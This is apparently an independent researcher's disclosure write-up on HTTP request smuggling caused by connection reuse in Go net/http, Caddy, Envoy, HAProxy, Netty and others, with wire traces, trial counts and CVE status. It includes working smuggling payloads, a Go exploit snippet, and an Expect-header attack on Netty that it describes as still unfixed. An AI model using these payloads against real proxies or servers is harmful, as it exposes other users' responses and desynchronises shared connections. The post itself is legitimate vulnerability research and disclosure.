Smuggling Shouldn't Exist Anymore, Right?

TL;DR

Connection reuse is a trust decision, and these ten products make it on a connection where the previous request is not finished: a body written with no delimiter, a body received and never read, framing taken from the inbound request rather than the bytes being forwarded, a parser reset over bytes still in the buffer. Reuse is what turns that into someone else’s problem rather than a later request of your own, and it is not itself the defect. Turning it off takes the crossings to zero in all four families and leaves the defect where it was: Envoy still wrote the DATA, HAProxy still announced the wrong length, Jetty still forwarded the surplus and the origin still parsed it. It is not the same switch in each product, and it contains the damage rather than removing the bug.

Four mechanisms, each with a worked case, wire traces and a control.

Pre-grant write writes the body for a tunnel or a protocol switch with no delimiter, before the peer has agreed to either, and a refusal leaves it in the request stream. Go net/http · Traefik · Caddy · Envoy · nghttpx

Unproven-drain reuse keeps a connection in service on a check that reports a drain it never performed. Go net/http again, its server half, measured in a shipped binary as Prometheus Pushgateway

Promise-credited framing takes the framing it prints from the request it received instead of from the bytes it forwards. HAProxy · Jetty · APISIX

Reset-with-debt clears parser state while the connection still holds the previous request’s bytes. Netty · Elasticsearch

Most software gets this right. Of the 19 backend configurations I measured, 18 were clean. What did not reproduce has the numbers and the one exception.

This is independent research I did through 2026. Further findings in these families are under coordinated disclosure and are not in this post.

17                     <- the next chunk is 0x17 = 23 bytes
Hello, this is 23 bytes
0                      <- zero chunk: the body is over

The result first

A victim in its own container, on its own QUIC connection, asked for /account. It got 200 OK and this body:

ATTACKER_XCONTAINER_MARKER_q7w8e9_SLOW

The proxy in front of it had decided, correctly by its own accounting, that the backend socket it leased to that victim was clean. It was not. It was carrying the answer to 88 bytes of someone else’s request, which the origin had parsed and was still answering.

The question each component got wrong

I read connection-reuse code in HTTP proxies, servers and client libraries, looking for one thing: what each component accepts as proof that an exchange has finished and the socket may serve someone else.

The method was source-first rather than black-box. Find the predicate that authorises reuse, work out what it can and cannot observe, then build a lab that makes it wrong and see whether a second client can be made to read the first one’s bytes.

Which of four places holds the mistake turned out to be a better way to group these findings than either the product or the protocol version. Four components decide something about the end of a message, and each can be wrong on its own:

Each gets a section below: the clearest case worked all the way to the wire, and the rest folded underneath it.

Protocol version is not one of these, which surprised me. HTTP/1 ends a message by counting, by a zero chunk, or by closing the connection, and the counting case is the one here: the headers promise a length and the receiver reads that many bytes. HTTP/2 and HTTP/3 add a per-request end-of-stream signal HTTP/1 never had: an END_STREAM flag in HTTP/2, and in HTTP/3 the end of the QUIC stream itself.

That signal is a convenience and it is also the trap. A component can believe it on its own and skip the counting, and it only describes what the client stopped sending. It says nothing about what a backend further down the chain did with the bytes already forwarded to it. So the newer protocols are where a premature “we’re done” signal comes from, and any of the four places above can act on one without checking.

1. Pre-grant write

Bytes emitted under a meaning the peer has not granted yet, with no delimiter, because the component expects the grant to come. A CONNECT payload written before the 2xx, or upgrade data written before the 101, creates the debt before any reuse decision is reached, and a refusal is what leaves it in the request stream. The debt is the bytes themselves: written onto the connection, and accounted for by neither end.

The clearest case is CVE-2026-56866 in Go’s net/http. For a CONNECT request, Transport writes the body immediately after the header block, with no chunked encoding, no Content-Length and no delimiter of any kind, and it does this before the backend has said anything at all.

Caddy inherits this. It reverse-proxies through net/http, so the write above is the one its own backend connections make, and the trace below is that defect seen through a shipped proxy rather than a second one.

The attacker sends a plain HTTP/3 CONNECT with early DATA, no :scheme and no :path, whose 88-byte payload is a complete HTTP/1 request. Below is one TCP socket between Caddy and Apache, with byte offsets on that socket and in marking the backend’s replies:

seq 190:403   len 213   CONNECT caddy.local:80 HTTP/1.1
                        Via: 3.0 Caddy

seq 403:491   len  88   GET /slow-marker HTTP/1.1
                        X-Smuggle-Attacker: crosscontainer-att

              in        HTTP/1.1 405 Method Not Allowed
                        Content-Length: 264

seq 491:688   len 197   GET /account HTTP/1.1          <- the victim

              in        HTTP/1.1 200 OK
                        ATTACKER_XCONTAINER_MARKER_q7w8e9_SLOW

The smuggled request line starts at sequence 403, in its own segment, immediately after the CONNECT header block, with no chunk size in front of it and no Content-Length describing it.

The 405 is what makes this work. Had Apache granted the CONNECT, it would have stopped reading those bytes as HTTP at all and started shovelling them down a tunnel, which is the whole point of a tunnel. It refused instead. A refusal leaves the connection exactly where it was, still parsing requests, and the proof is in the response itself: Apache’s 405 carries Content-Length: 264 and keeps the connection alive, which no tunnel would. So it refused a method, and then read the next 88 bytes as what they look like.

Nothing in the transport records that the socket is dirty, because nothing in the transport is tracking what the backend did with those bytes. The write happened. That is all it knows.

src=172.18.0.3:47156 pid=10 kacount=0 kastatus=+ status=200 reqline="GET / HTTP/1.1"
src=172.18.0.3:47156 pid=10 kacount=1 kastatus=+ status=200 reqline="GET / HTTP/1.1"
src=172.18.0.3:47156 pid=10 kacount=2 kastatus=+ status=405 reqline="CONNECT caddy.local:80 HTTP/1.1"
src=172.18.0.3:47156 pid=10 kacount=3 kastatus=+ status=200 reqline="GET /slow-marker HTTP/1.1"
src=172.18.0.3:47156 pid=10 kacount=4 kastatus=+ status=200 reqline="GET /account HTTP/1.1"

CONNECT 127.0.0.1:41453 HTTP/1.1          POST /p HTTP/1.1
Accept-Encoding: gzip                     Transfer-Encoding: chunked

GET /smuggled HTTP/1.1                    23
Host: x                                   GET /smuggled HTTP/1.1
                                          Host: x
no Transfer-Encoding
no Content-Length                         0
0 of 10 trials framed it

tr := &http.Transport{MaxIdleConns: 100, MaxIdleConnsPerHost: 100}

payload := "GET /slow-marker?d=2.0 HTTP/1.1\r\nHost: " + addr +
           "\r\nX-Smuggled: 1\r\n\r\n"
att := &http.Request{
    Method: "CONNECT", URL: &url.URL{Scheme: "http", Host: addr}, Host: addr,
    Header: make(http.Header),
    Body:   io.NopCloser(strings.NewReader(payload)),
    ContentLength: -1,
}
tr.RoundTrip(att)                 // 405, socket returns to the idle pool

time.Sleep(500 * time.Millisecond)

vic, _ := http.NewRequest("GET", "http://"+addr+"/account", nil)
tr.RoundTrip(vic)                 // reads the attacker's queued response

plain CONNECT          12 trials   held 12,  zero DATA bytes upstream
:protocol websocket    12 trials   held 12,  zero DATA bytes upstream
:protocol foo          12 trials   crossed 12

GET / HTTP/1.1
host: envoy.local
upgrade: foo
connection: upgrade
x-forwarded-proto: https
x-request-id: 2a125618-ff99-401a-8107-c0aae4f587cd
x-envoy-expected-rq-timeout-ms: 30000

GET /slow-marker?d=2.0 HTTP/1.1
Host: envoy.local
X-Smuggled: FCREUSE20261025T090629Z11324217-T7

GET /account?t=7 HTTP/1.1
host: envoy.local
x-forwarded-proto: https
x-request-id: 4637ba7b-2ed8-46ee-87db-22c141c86818
x-envoy-expected-rq-timeout-ms: 30000

2. Unproven-drain reuse

A connection is reused on evidence that cannot show whether the request body was read. The body bytes are still sitting in the receive buffer, so the next request to use that connection starts inside them.

Here the evidence is a body field that middleware routinely replaces. In the nghttpx and Envoy cases above it is an empty local write buffer or a completed local write.

Go’s HTTP server gets this wrong independently of its client, and it is the half that measured worse for other people. closedRequestBodyEarly() decided whether a request was abandoned before its body was read, with a type assertion:

body, ok := w.req.Body.(*body)          // go1.26.5, server.go:1715-1718

Request.Body is exported, and middleware wraps or replaces it as a matter of course, although Go’s own Handler contract says a handler should not modify the request except by reading the body. Any middleware that wraps it, a gzip reader or a tracer or a size limiter, makes that assertion fail. The surrounding cleanup, whose job is to read and discard whatever the handler left unread, falls to its default branch, reads the already-closed native body, and takes ErrBodyReadAfterClose as proof the body was consumed. The handler returns early, the wire bytes are still there, keep-alive is kept, and the next parse starts inside them.

This is a server-side defect, and on its own it stays within one client: the server’s keep-alive hands the leftover bytes to the next request on the same connection, which is the same client’s. It reaches other people when a proxy in front pools backend connections across users. That is the arrangement measured in the fold below, where 89 of 131 victims behind Caddy received another user’s account page.

A minimal server with body-wrapping middleware, 180 trials across eight toolchains. One trial is a request whose body the handler never reads, followed by a second request on the same connection, counted as a crossing when the second one is parsed out of the first one’s leftover bytes. Each figure below is crossings out of trials:

affected                          fixed
go1.21.13   20 of 20              go1.27.0     0 of 20
go1.24.13   20 of 20              go1.27.1     0 of 20
go1.25.14   20 of 20
go1.26.5    40 of 40
go1.26.7    20 of 20
go1.26.10   20 of 20

go1.27.0 replaced three reads of that mutable field with reads of a saved native body. The change is CL 794640, “net/http: don’t rely on server request body not changing”, with a regression test called TestServerConnectionReuse/large_wrapped_body. It was not backported to the 1.26 series. golang:1.26 resolves to go1.26.10, the newest 1.26 patch, which still carries the assertion and still crossed 20 of 20.

I reported this, and Go declined it:

Since this report requires a middleware layer to violate the documented requirements of the Handler interface (“Except for reading the body, handlers should not modify the provided Request.”), we do not consider it to be a security bug. https://go.dev/cl/794640 addresses this as a hardening measure.

The wrapping that argument rests on is the gzip readers, tracers and size limiters named above.

I found the same defect in other shipped products. Those are under coordinated disclosure and are not in this post.

1f 8b 08 00 00 00 00 00 00 ff    gzip, DEFLATE, no flags, mtime 0, OS 255
00 ec 0f 13 f0                   stored block, BFINAL=0 BTYPE=00, LEN=0x0fec
...
00 ff ff 00 00                    second stored block, LEN=0xffff
GET /debug/pprof/profile?seconds=3 HTTP/1.1
Host: pushgateway
Content-Length: 0000320028

v1.11.3 source, built go1.26.7     10 of 10 crossed
v1.11.3 source, built go1.27.0      0 of 10

Caddy,   reuse on,  go1.26.5    89 of 131 received another user's account page
nginx,   reuse on,  go1.26.5     0 of 131 crossed; its 82 502s are max_conns=1
HAProxy, reuse on,  go1.26.5     2 of 131 injected; its 30 503s are maxconn 1
Caddy,   reuse off, go1.26.5     0 of 131, on 133 separate backend connections
Caddy,   reuse on,  go1.27.0     0 of 131

                   attack      no attacker   benign occupancy
Caddy  disclosures  89 of 131     0 of 131       0 of 131
nginx  502          82 of 131    82 of 131     104 of 131
HAProxy 503         30 of 131     4 of 131      34 of 131
HAProxy injected     2 of 131     0 of 131       0 of 131

3. Promise-credited framing

A proxy takes the framing it announces, a Content-Length, a chunk size or a Transfer-Encoding, from the request it received instead of from the bytes it forwards. The backend then looks for the end of the body in the wrong place.

HAProxy CVE-2026-90678 does it where an HTTP/3 request is translated into HTTP/1 for the backend. A POST with no Content-Length carries a DATA frame header declaring 100 bytes; only 50 arrive, then a standalone QUIC FIN in its own packet. Arriving alone, with no data beside it, the FIN takes a frame-level path that checks the body size only when a Content-Length was parsed, and this request has none. HAProxy emits:

POST /probe/b33b2954a71a36b7 HTTP/1.1
transfer-encoding: chunked

64
FAM3-ATK-b33b2954a71a36b7-FAM3-ATK-b33b2954a71a36b0

64 is 100 in hexadecimal: the length the client declared, not the 50 bytes HAProxy actually has. It has just told the backend to expect twice what it is about to send.

It then makes the second mistake. Having run out of body, it writes the end-of-body marker, 0\r\n\r\n. But the backend is still 50 bytes short of the chunk it was promised, so it does not read that as a marker at all. It counts those five bytes as five more bytes of chunk data, reaching 55 of 100, and goes on waiting for the remaining 45. A clean 3.2.21 emits 32, which is 50, and the marker lands where a marker should.

Those 45 bytes come from whoever uses the connection next. In one run they were the victim’s own request line, read as chunk data for somebody else’s body. The victim was on a separate QUIC connection, and got back a 200 that reported the method and target the backend had parsed, neither of which it had asked for. The target came from the attacker’s run. The method was the victim’s own header line, x-fam3-run:, read as if it were a method.

Over-announced emissions, by version:

3.3.17   30 of 30      3.2.21    0 of 30
3.4.2    30 of 30      3.2.26    0 of 30
3.4.4    30 of 30
3.4.6    30 of 30

Those counts are emissions of the wrong length and not crossings: of the six versions, the wrong length went on to cross between clients on 3.4.2 and 3.4.4 only. The two clean versions carry none of the internal plumbing that passes a declared length from one protocol layer to the next, so their serializer can only use what it is holding. On 3.4.4 the take rate is every opportunity: an over-announced emission with another request behind it on the same backend socket had those bytes swallowed every time, in two runs on different days. It takes exactly 45 bytes each time, with no variance in either run. Which client that lands on is a pool matter rather than a property of the defect. Most of the crossings ate a victim’s request line; the rest ate the attacker’s own next request, which spends the desync on its author. The proportions move between runs because the pool decides which request is next, so they are a fact about my lab rather than about anyone’s traffic.

The crossing also needs an origin that answers before it reads the body it was promised. Against an origin that reads first, the same build still over-announces 30 of 30 and crosses 0 of 60. The framing defect does not depend on the origin; reaching another user with it does.

4. Reset-with-debt

Parser state cleared on an error path while the connection still holds the previous request’s bytes, handing the next parse a buffer that starts mid-body.

Netty’s HttpObjectAggregator, GHSA-wg54-m423-h45r, fires HttpExpectationFailedEvent when a request carries an unsupported expectation (HttpObjectAggregator.java:164), and HttpObjectDecoder.userEventTriggered calls reset() on that event while the decoder is in body-reading state (HttpObjectDecoder.java:634-641). The next decode runs resetNow(), which clears the message, the content length, the chunked flag and both parsers, then sets currentState = SKIP_INITIAL_LINE_CHARS. The input ByteBuf is never touched.

The shape is a POST /upload carrying an unsupported Expect, a header that asks the server to approve a request before the client sends the body, so an unknown value is refused while the body is still unread. Its declared 57 body bytes are exactly one complete request:

POST /upload HTTP/1.1
Expect: bogus-expectation-99
Content-Length: 57
Connection: keep-alive

GET /slow-marker?d=0&m=328966520001 HTTP/1.1
Host: h

Two status lines come back for the one request line written:

HTTP/1.1 417 Expectation Failed
content-length: 0

HTTP/1.1 200 OK
X-Probe2-Route: SMUGGLED
X-Probe2-Uri: /slow-marker?d=0&m=328966520001

10 of 10 on 4.2.16.Final and 10 of 10 on 4.1.135.Final, where userEventTriggered is byte-identical across the two versions. Remove the Expect header and it is 0 of 10.

What did not reproduce

Eighteen of nineteen backend configurations were clean: 0 residues across their 546 trials. Most implementations get this right, and that belongs on the page next to the cases above, because “connection reuse is broken” is not the claim. I measured 19 configurations across 14 server products for bytes left sitting in the receive buffer after an early response, and all but one either drained the declared body or closed the connection.

The exception is CPython’s http.server, and only at a non-default flag. python -m http.server --protocol HTTP/1.1 left the body owed in 10 of 25 trials, meaning bytes were still sitting unread in its receive buffer when the next request should have started, 10 of 10 on GET and HEAD, with the connection closed on POST and on a 404. The shipped HTTP/1.0 default is 0 of 25. CPython’s documentation says http.server is not for production use.

The whole measurement is 571 trials: the 546 above, plus the 25 HTTP/1.1 trials on CPython, which carry all 10 of the residues.

Prior art, and where these four sit

The notation this field uses, CL.TE and TE.CL and the derivatives TE.0, 0.CL and H2.CL, describes which two parties disagree about where a body ends. The first term is the header the front end believes and the second is the one the back end believes, with 0 meaning that end reads no body at all. That is a different axis from the one here. In the CONNECT case no parser disagrees with another: Apache’s reading of those 88 bytes is correct, and Caddy never formed a reading at all.

The label does stretch this far. OpenWrt’s uhttpd advisory, GHSA-c2wg-hcff-hqrm, is titled “pre-auth HTTP request smuggling (CL.0), keep-alive connection reused with an unread request body” and calls it a textbook CL.0 desync. PortSwigger’s own material reaches the same mechanism from the other side: its “Eliciting CL.0 behavior” section notes that some servers answer a header-triggered error without consuming the body off the socket, and that leaving the connection open afterwards is an alternative CL.0 vector. So the difference is emphasis rather than kind. CL.0 is written about a back end that can be persuaded to ignore Content-Length, and treats the unconsumed body as one way to elicit that. These four start from the other end: the component that finishes a request and reuses the connection without accounting for the bytes it wrote, read or announced.

Pre-grant write has one close relative that runs in the opposite direction. h2c smuggling needs the transition to succeed, so a proxy stops inspecting a connection it believes is a tunnel. This needs the grant to be absent, which is not the same as the request failing: Cloudflare records the Pingora case working even where the backend declines the upgrade with a 200. WebSocket smuggling is on the same side as this family rather than the opposite one: in Egorov’s write-up the backend refuses the upgrade with a 426 and there is no WebSocket connection at all. Cloudflare’s Pingora fix names the pre-grant case directly. CVE-2026-2833 is “HTTP Request Smuggling via Premature Upgrade”, and Cloudflare’s own write-up heads that section “Premature upgrade without 101 handshake” and credits me by name. I wrote the Pingora work up separately in 2026, in Breaking Pingora: three smuggling bugs under two CVEs, CVE-2026-2833 and CVE-2026-2835, and a cache-poisoning one, CVE-2026-2836.

Unproven-drain reuse borders pause-based desync, and the boundary is the trigger. Pause-based desync starts with a server timing out a request and leaving the connection open. Here nothing times out: the component reaches its reuse decision normally and answers it from something other than the body having been read. Browser-powered desync is PortSwigger’s umbrella term for desync attacks that a browser can trigger. It includes all client-side desyncs and some server-side ones; I did not establish browser-triggerability for the cases here. An advisory from December 2020 states this server-side mechanism exactly, CVE-2020-26281 in async-h1, “request smuggling possible with long unread bodies”, without giving it a name.

Promise-credited framing has a named relative in the pass-through case, H2.CL and H2.TE, where a proxy forwards a client’s Content-Length or Transfer-Encoding without verifying it. HAProxy’s case above has no Content-Length at all; the chunked framing is HAProxy’s own, computed from a frame-header promise. APISIX’s case does forward a client header, a Transfer-Encoding, but nginx has de-chunked the body underneath it, so the header no longer describes what is sent.

Reset-with-debt overlaps a named class at one trigger. The Expect variant is expect-based desync, from PortSwigger’s 2025 work. The triggers measured above are a size rejection and an unsupported expectation reaching a decoder that is already reading a body, which is the same mechanism arrived at differently.

I looked for a trigger that reaches the same reset() without an Expect header, because that would separate the two by measurement rather than by reading the call site. There is none in these versions. Across 372 attempts carrying no Expect header, over four product and limit combinations against Netty 4.2.16.Final, Netty 4.1.135.Final and Elasticsearch 9.4.3, the reset was never requested once: every one of them drew a 413, and no origin’s own log recorded a smuggled request. The Expect controls, driven direct to the origin, reached it 150 of 150 on Netty, and on Elasticsearch 12 of 12 with Expect: 100-continue against an oversize declared length but 0 of 12 with an unsupported expectation, which it answers 417 and closes in the same statement before the reset can run.

The bytecode says why, and it is sharper than the status codes suggest. The two 413s come from different methods. continueResponse fires HttpExpectationFailedEvent on both of its failure branches, the 417 one and the 413 one, and in the shipped jar HttpObjectDecoder.userEventTriggered is the only caller of its public reset(), which it reaches only when the decoder sits in READ_FIXED_LENGTH_CONTENT, READ_VARIABLE_LENGTH_CONTENT or READ_CHUNK_SIZE. handleOversizedMessage answers 413 and never fires that event at all. Its caller in MessageAggregator sets a flag that eats the surplus as declared body and starves the next request rather than reparsing it. Same status, different door. So the separation from expect-based desync is not only a reading of the call site; on these versions it is measured.

One of my own cases is an instance of a known class and I am not renaming it. A strtoul radix issue where Content-Length: 0100 is decimal to one party and octal to another is CL.CL, since both ends read the same header and disagree about its value.

Disclosure

The client-side CONNECT defect is CVE-2026-56866, credited in GO-2026-6605, fixed in Go 1.26.9 and 1.27.2. The server-side one Go declined as a security issue and classified as hardening; its change is in go1.27.0 and has not been backported, so the 1.26 line has no release that removes it.

Traefik’s is CVE-2026-71324, fixed in 2.11.53, 3.6.24 and 3.7.9, and Envoy’s is CVE-2026-73548. Both advisories are published and credit me. HAProxy’s is CVE-2026-90678 and Elasticsearch’s is CVE-2026-78605; those two and APISIX were fixed through their own venues, APISIX as CVE-2026-74848 in 3.18.0. The Caddy report was dismissed.

Jetty accepted its HTTP/3 case as a bug and closed the advisory two days after I filed it, with no CVE. Two advisories are still in triage and have stopped moving, and they are not in the same state underneath. GHSA-8xjx-55xw-h6h6 on nghttpx has been untouched since 20 May 2026, but the defect itself is fixed and shipped, which I confirmed by running the attack against the release. GHSA-wg54-m423-h45r on Netty has not been edited since the day I filed it on 14 July 2026, and neither the event in HttpObjectAggregator nor the reset in HttpObjectDecoder has changed on either maintained branch. Both are past the 90 days I gave them. Only the Netty defect is still live.

A further set of findings in these families is under coordinated disclosure. I will publish that part when the windows close.